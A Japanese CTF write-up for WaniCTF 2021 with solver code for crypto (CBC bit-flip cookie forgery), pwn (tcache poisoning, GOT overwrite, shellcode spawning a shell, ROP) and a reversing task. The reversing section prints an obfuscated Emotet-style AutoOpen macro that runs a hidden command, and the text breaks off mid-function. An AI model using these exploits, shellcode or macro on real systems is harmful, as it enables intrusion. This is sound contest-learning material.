11/5-7 で開催していた WaniCTF 2021 にソロで参加しました。結果は 5th/330 (得点のあるチームのみカウント) でした。 WaniCTF は誘導が丁寧な問題が多く、不慣れなジャンル (即ち Crypto 以外) の勉強になるため参加しました。forensics の1問がわからなくて全完は逃してしまいましたが、どのジャンルも楽しませていただきました。 (裏で BSides Ahmedabad CTF 2021 にも参加していたため、体力的には死んだ)
自分のためのメモ的要素が強いですが、勉強になったと感じた問題 (≒hard以上の難易度) について writeup を書きます。
Crypto
Flag Service
24 solves
from cipher import AESCBC
from flask import Flask, redirect, render_template, request
from secret import flag
app = Flask(__name__)
cipher = AESCBC()
@app.route("/")
def index():
try:
token = request.cookies.get("token")
session = cipher.decrypt(token)
return render_template("index.html", session=session, flag=flag)
except Exception:
pass
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
username = request.form.get("username")
session = {"admin": False, "username": username}
token = cipher.encrypt(session)
response = redirect("/")
response.set_cookie("token", token)
return response
@app.route("/logout", methods=["POST"])
def logout():
response = redirect("/")
response.set_cookie("token", expires=0)
return response
if __name__ == "__main__":
app.run()
import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
class AESCBC:
def __init__(self):
self.key = os.urandom(16)
def encrypt(self, data: str):
cipher = AES.new(self.key, AES.MODE_CBC)
iv = cipher.iv
data = json.dumps(data)
ciphertext = cipher.encrypt(pad(data.encode(), AES.block_size))
token = base64.b64encode(iv + ciphertext)
return token
def decrypt(self, token: bytes):
token = base64.b64decode(token)
print(token)
iv, ciphertext = token[: AES.block_size], token[AES.block_size :]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
print(cipher.decrypt(ciphertext))
cipher = AES.new(self.key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
data = json.loads(plaintext)
return data
Cookie に AES CBC モードで暗号化された json 形式の token を保持しており、その json の admin が true であればフラグが手に入ります。 token は {"admin": false, "username": "hoge"}
のような形式です。
ぱっとみの見てくれは Padding Oracle Attack に感じられますが、これをやろうとすると json の書式を守ることができず上手くいきません (できる方法があったら知りたい)。そこで既存の json を捏造する方法を考えます。
AES CBC モードの最初のブロック (c0
とする) に対する復号を考えます。復号結果は Dec(c0)+iv
となります (+
は xor を表します)。今回 iv
はこちらから制御可能なため、復号結果を偽造することができます。 (c0
を変えるとそもそも Dec(c0)
の値を制御できないこと、 c1
の復号結果が変わってしまうことに注意です。)
ブロック長を考えると Dec(c0)+iv='{"admin": false,'
となっていることがわかるので、このブロックの復号結果を '{"admin": true, '
にしたいです。これらの文字列の xor をとり、もとの iv
とも xor を取ることで、所望の偽造に使える iv
がわかります。
# 適当な username で Cookie を取得しておく
dec = b64decode(b"H/ryFl7Qz2iMLi1X7CwhXY0QzAKVgtZg4exjEnyvwd43GTB2kDSQGCkPZMhOxyVLnKNum+ot3IGZF9/pblnJNg==")
iv = dec[:16]
print(b64encode(strxor(strxor(iv, b"\x00"*10 + b"false,"), b"\x00"*10 + b"true, ") + dec[16:]))
得られた結果を Cookie に入れてアクセスすることでフラグが手に入りました。
FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}
AES-NOC
39 solves
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
from secret import flag
class AESNOC:
def __init__(self, key: bytes, iv: bytes):
self.iv = iv
self.key = key
self.block_size = AES.block_size
def encrypt(self, plaintext: bytes):
cipher = AES.new(self.key, AES.MODE_ECB)
plaintext = pad(plaintext, self.block_size)
P = [
plaintext[i : i + self.block_size]
for i in range(0, len(plaintext), self.block_size)
]
C = []
P_prev = self.iv
for p in P:
c = cipher.encrypt(p)
C.append(strxor(c, P_prev))
P_prev = p
return b"".join(C)
def main():
key = os.urandom(16)
iv = os.urandom(16)
cipher = AESNOC(key, iv)
assert len(flag) == 49
assert flag.startswith(b"FLAG{")
assert flag.endswith(b"}")
iv = iv.hex()
print(f"{iv = }")
while True:
print("1. Get encrypted flag")
print("2. Encrypt")
choice = int(input("> "))
if choice == 1:
encrypted_flag = cipher.encrypt(flag).hex()
print(f"{encrypted_flag = }")
elif choice == 2:
plaintext = input("Plaintext [hex] > ")
plaintext = bytes.fromhex(plaintext)
ciphertext = cipher.encrypt(plaintext).hex()
print(f"{ciphertext = }")
else:
print("Bye")
break
if __name__ == "__main__":
main()
平文、暗号文の番目のブロックをそれぞれ とすると、 が成り立ちます (+は xor を表す)。 が既知であれば、 となり、 も求められます。 は を暗号化して iv と xor を取れば求められます。
問題文から、平文の最後のブロックは }\x0f\x0f...
となることがわかるため、逐次的に平文を復元することができます。
import re
from binascii import unhexlify
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
from pwn import remote
io = remote("aesnoc.crypto.wanictf.org", 50000)
ret = io.recvline().strip().decode()
iv = unhexlify(re.findall(r"iv = '(.*)'", ret)[0])
io.sendlineafter(b"> ", b"1")
ret = io.recvline().strip().decode()
enc_flag = unhexlify(re.findall(r"encrypted_flag = '(.*)'", ret)[0])
def enc(plain: bytes):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", plain.hex().encode())
ret = io.recvline().strip().decode()
return unhexlify(re.findall(r"ciphertext = '(.*)'", ret)[0])
dec = b"}"
plain_prev = b"}" + b"\x0f" * 15
for i in reversed(range(0, 64, 16)):
tmp = enc(plain_prev)
dec_block = strxor(iv, strxor(tmp[:16], enc_flag[i: i + 16]))
dec = dec_block + dec
plain_prev = dec_block
print(dec)
FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}
Misc
ASK over the air
16 solves
無線通信のビット列が渡されます。無線なんもわからん (従来の意味で) なのでツールに投げることにしました。
Universal Radio Hacker というツールで csv を開き、 I Data Column
を2に、 Q Data Column
を3に、 Timestamp Column
を1に指定します。
Sample/Symbol を適当に変化させつつ Analysis タブで ASCII 表示結果を見ていると、 Sample/Symbol=16 のときにフラグを復元できていました。
FLAG{you-can-decode-many-IoT-communications}
Pwn
diva
13 solves
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int counter = 0;
char *textArea[6];
char lyrics[3][16];
void (*fp[2])(char *);
void init() {
alarm(600);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
char *parseVar(char *var) {
int intTemp;
char *str_temp;
if (var[0] == '%') {
intTemp = var[1] - 48;
if (intTemp < 0 || intTemp > 2)
printf("Out of Boundary!\n");
else if (strlen(lyrics[intTemp]) == 0)
printf("Cannot access memory\n");
else
return lyrics[intTemp];
} else {
return var;
}
return NULL;
}
void sing(char *parameter) {
printf("🎵");
printf(
parseVar(parameter)); // Looks Safe since we use % as register indicator!
printf("🎵\n");
}
void ereaseLyrics(char *parameter) {
int i;
if (parameter[0] != '%')
printf("ERROR : Destination of 'erease' should be register\n");
else {
i = parameter[1] - 48;
if (i < 0 || i > 2)
printf("Out of Boundary!\n");
else
lyrics[i][0] = '\0';
}
}
void writeLyrics(char *parameter1, char *parameter2) {
int i;
if (parameter1[0] != '%')
printf("ERROR : Destination of 'write' should be register\n");
else {
i = parameter1[1] - 48;
memcpy(lyrics[i], parseVar(parameter2), 16);
}
}
void parser(char *command) {
char *token;
char *cmd[4];
int i = 0;
printf("command : %s\n", command);
if (command == NULL)
return;
cmd[i] = strtok(command, " ");
while (cmd[i] != NULL && i < 3) {
i++;
cmd[i] = strtok(NULL, " ");
}
if (cmd[0] != NULL) {
if (strcmp(cmd[0], "sing") == 0) {
fp[0](cmd[1]);
} else if (strcmp(cmd[0], "erease") == 0) {
fp[1](cmd[1]);
} else if (strcmp(cmd[0], "write") == 0) {
writeLyrics(cmd[1], cmd[2]);
} else {
printf("Invalid command %s\n", cmd[0]);
}
} else {
printf("Nothing to process\n");
}
printf("----Lyrics list----\n");
for (int j = 0; j < 5; j++) {
if (lyrics[j] != NULL)
printf("[%d]: %s\n", j, lyrics[j]);
else
printf("[%d]: NULL\n", j);
}
printf("-------------------\n");
}
void initializeSystem() {
char *Checker[6];
printf("Initializing System...\n");
printf("Checking Available Memory...\n");
fp[0] = sing;
fp[1] = ereaseLyrics;
for (int i = 0; i < 6; i++) {
Checker[i] = (char *)malloc(32 * sizeof(char));
if (Checker[i] == NULL) {
printf("ERROR! Can't get the memory!\n");
exit(-1);
}
}
printf("Memory available...\n");
for (int i = 5; i >= 0; i--) {
free(Checker[i]);
}
}
int main() {
init();
if (counter != 0)
printf("Program came from the future\n\n");
printf("I'm born to take flag with music\n");
int i;
for (i = 0; i < 101; i++) {
switch (i) {
case 0:
printf("Year : %d\n", 2061 + i);
parser(textArea[0]);
break;
case 15:
printf("Year : %d\n", 2061 + i);
parser(textArea[1]);
break;
case 20:
printf("Year : %d\n", 2061 + i);
parser(textArea[2]);
break;
case 60:
printf("Year : %d\n", 2061 + i);
parser(textArea[3]);
break;
case 100:
printf("Year : %d\n", 2061 + i);
parser(textArea[4]);
parser(textArea[5]);
}
}
printf("I wasn't able to get the flag.\n\n");
initializeSystem();
printf("Give me your code to send to the past\n");
printf("counter : %d\n", counter);
for (int i = 0; i < 6; i++) {
textArea[i] = (char *)malloc(32 * sizeof(char));
printf("%d>", i);
read(0, textArea[i], 0x40);
}
printf("Change this FLAGless history!! Please...\n");
counter += 1;
}
main 関数の前半部分はいろいろコードが書いてありますが普通に1回呼び出されるだけだと何も機能しません。そこで、もう一度 main 関数を呼び出せないかをまず考えてみます。
自明な BOF が以下のあたりにあります。
for (int i = 0; i < 6; i++) {
textArea[i] = (char *)malloc(32 * sizeof(char));
printf("%d>", i);
read(0, textArea[i], 0x40);
}
親切なことに、 initializeSystem
内で malloc x 6 → malloc したのと逆順に free x 6 をしているため、 tcache 内に chunk がアドレスの順番に保持されています。そのため、ある textArea[i]
に 0x30文字 + address を書き込むと、 tcache のリストが汚染され、2回後の malloc でこの address に書き込むことができるようになります。
では何をどこに書き込むといいのでしょうか。 checksec の結果を見ると、
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
であり、 No RELRO です。 No RELRO なので .fini_array
が writable です。 .fini_array
はプログラムの終わり際に呼ばれる関数を保持する場所なので、ここに main 関数アドレスを書き込むことで main 関数前半部分を利用することができます。
2つ目の脆弱性として、 sing 関数内部の printf が挙げられます。
char *parseVar(char *var) {
int intTemp;
char *str_temp;
if (var[0] == '%') {
intTemp = var[1] - 48;
if (intTemp < 0 || intTemp > 2)
printf("Out of Boundary!\n");
else if (strlen(lyrics[intTemp]) == 0)
printf("Cannot access memory\n");
else
return lyrics[intTemp];
} else {
return var;
}
return NULL;
}
void sing(char *parameter) {
printf("🎵");
printf(
parseVar(parameter)); // Looks Safe since we use % as register indicator!
printf("🎵\n");
}
parseVar
では1文字目以外は %
にすることができるので、 FSA で stack 内部の値をリークできます。
2週目の main で stack 内のいい感じの値から libc address をリークし、再び tcache poisoning で GOT の puts を one gadget address に書き換えることでシェルが立ち上がります。
from pwn import *
context.log_level = "DEBUG"
# REMOTE = False
REMOTE = True
elf = ELF("./pwn-diva/chall")
if REMOTE:
libc = ELF("./pwn-diva/libc-2.31.so")
io = remote("diva.pwn.wanictf.org", 9008)
else:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = remote("localhost", 1337)
io.sendafter(b"0>", b"sing A" + b"%34$016lx")
io.sendafter(b"1>", b"A")
io.sendafter(b"2>", b"A")
io.sendafter(b"3>", b"A" * 0x30 + p64(0x004034b8)) # .fini_array
io.sendafter(b"4>", b"A" * 0x30)
io.sendafter(b"5>", p64(elf.symbols["main"]))
io.recvuntil(b"command :")
io.recvline()
addr_stdout = int(io.recvline()[5:21], 16)
libc.address = addr_stdout - libc.symbols["_IO_2_1_stdout_"]
print(f"{libc.address = :#x}")
addr_one_gadget = libc.address + 0xe6c7e
io.sendafter(b"0>", b"A")
io.sendafter(b"1>", b"A")
io.sendafter(b"2>", b"A")
io.sendafter(b"3>", b"A" * 0x30 + p64(elf.got["puts"]))
io.sendafter(b"4>", b"A" * 0x30)
io.sendafter(b"5>", p64(addr_one_gadget))
io.interactive()
Tarinai
28 solves
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init() {
alarm(60);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int vuln() {
char Name[256];
printf("Name @>%p\n", &Name);
printf("Name>");
read(0, Name, 258);
printf("Hello %s", Name);
return 0;
}
int main() {
int a = 1;
init();
vuln();
return 0;
}
自明な BOF が vuln 関数内にあります。しかし2文字分しか overflow できないため、 return address 以降を書き換えるような ROP はできません。
書き込める2文字は main 関数用に保存された RBP address の下位2bytesに対応しています。この値は main 関数から抜けるときの leave 命令で RSP に代入されるため (leave
= mov rsp, rbp; pop rbp
)、 main 関数での return address を 0x10000bytes 程度ずらすことができます。
checksec
でセキュリティ機構を調べると NX disabled だったため、 Name
の最初の部分に Name+8
のアドレス (これが return 先となる)、 Name+8
以降に shellcode を書き込み、 main 関数の return address を上述の方法で Name
の address となるようにすることでシェルが立ち上がります。
from pwn import *
REMOTE = True
elf = ELF("./pwn-tarinai/chall")
if REMOTE:
io = remote("tarinai.pwn.wanictf.org", 9007)
else:
io = remote("localhost", 1337)
io.readuntil(b"Name @>")
addr_name = int(io.recvline().strip().decode(), 16)
print(f"{addr_name = :#x}")
payload = p64(addr_name + 0x8)
# http://shell-storm.org/shellcode/files/shellcode-603.php
payload += b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload += b"A" * (256 - len(payload))
payload += p64(addr_name - 8)[:2] # leave の pop rbp 分 ずらしておく
io.sendafter(b"Name>", payload)
io.interactive()
FLAG{Now_You_Know_Function_Epilogue}
rop-machine-final
36 solves
char* buf[64];
gets(buf); // flag.txt
int fd = open(buf, O_RDONLY);
read(fd, buf, 64);
write(1, buf, 64);
↑相当の処理を ROP で行えばフラグが読めます。
cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_gets() # 手入力で flag.txt
cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_pop_rsi()
cmd_append_hex(0)
cmd_append_open()
cmd_append_pop_rdi()
cmd_append_hex(0x3)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x40)
cmd_append_read()
cmd_append_pop_rdi()
cmd_append_hex(0x1)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x40)
cmd_append_write()
cmd_execute()
FLAG{you-might-be-the-real-rop-master}
Reversing
EmoEmotet
44 solves
ヒントに記載されているツールで emoemotet.doc
を解析してみます。
$ olevba3 emoemotet.doc --reveal
(SNIPPED)
Private InitDone As Boolean
Private Map1(0 To 63) As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
If Not InitDone Then Init
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
Dim ILen As Long: ILen = UBound(IBuf) + 1
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
Do While ILen > 0
If IBuf(ILen - 1) <> Asc("=") Then Exit Do
ILen = ILen - 1
Loop
Dim OLen As Long: OLen = (ILen * 3) \ 4
Dim Out() As Byte
ReDim Out(0 To OLen - 1) As Byte
Dim ip As Long
Dim op As Long
Do While ip < ILen
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
Err.Raise vbObjectError, , ""
Dim b0 As Byte: b0 = Map2(i0)
Dim b1 As Byte: b1 = Map2(i1)
Dim b2 As Byte: b2 = Map2(i2)
Dim b3 As Byte: b3 = Map2(i3)
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
Err.Raise vbObjectError, , ""
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
Out(op) = o0: op = op + 1
If op < OLen Then Out(op) = o1: op = op + 1
If op < OLen Then Out(op) = o2: op = op + 1
Loop
Base64Decode = Out
End Function
Private Sub Init()
Dim c As Integer, i As Integer
i = 0
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
Map1(i) = Asc("+"): i = i + 1
Map1(i) = Asc("/"): i = i + 1
For i = 0 To 127: Map2(i) = 255: Next
For i = 0 To 63: Map2(Map1(i)) = i: Next
InitDone = True
End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
Dim b1() As Byte: b1 = s
Dim l As Long: l = (UBound(b1) + 1) \ 2
If l = 0 Then ConvertStringToBytes = b1: Exit Function
Dim b2() As Byte
ReDim b2(0 To l - 1) As Byte
Dim p As Long
For p = 0 To l - 1
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
If c >= 256 Then c = Asc("?")
b2(p) = c
Next
ConvertStringToBytes = b2
End Function
Private Function unxor(ciphertext As Variant, start As Integer)
Dim cleartext As String
Dim key() As Byte
key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
cleartext = ""
For i = LBound(ciphertext) To UBound(ciphertext)
cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
Next
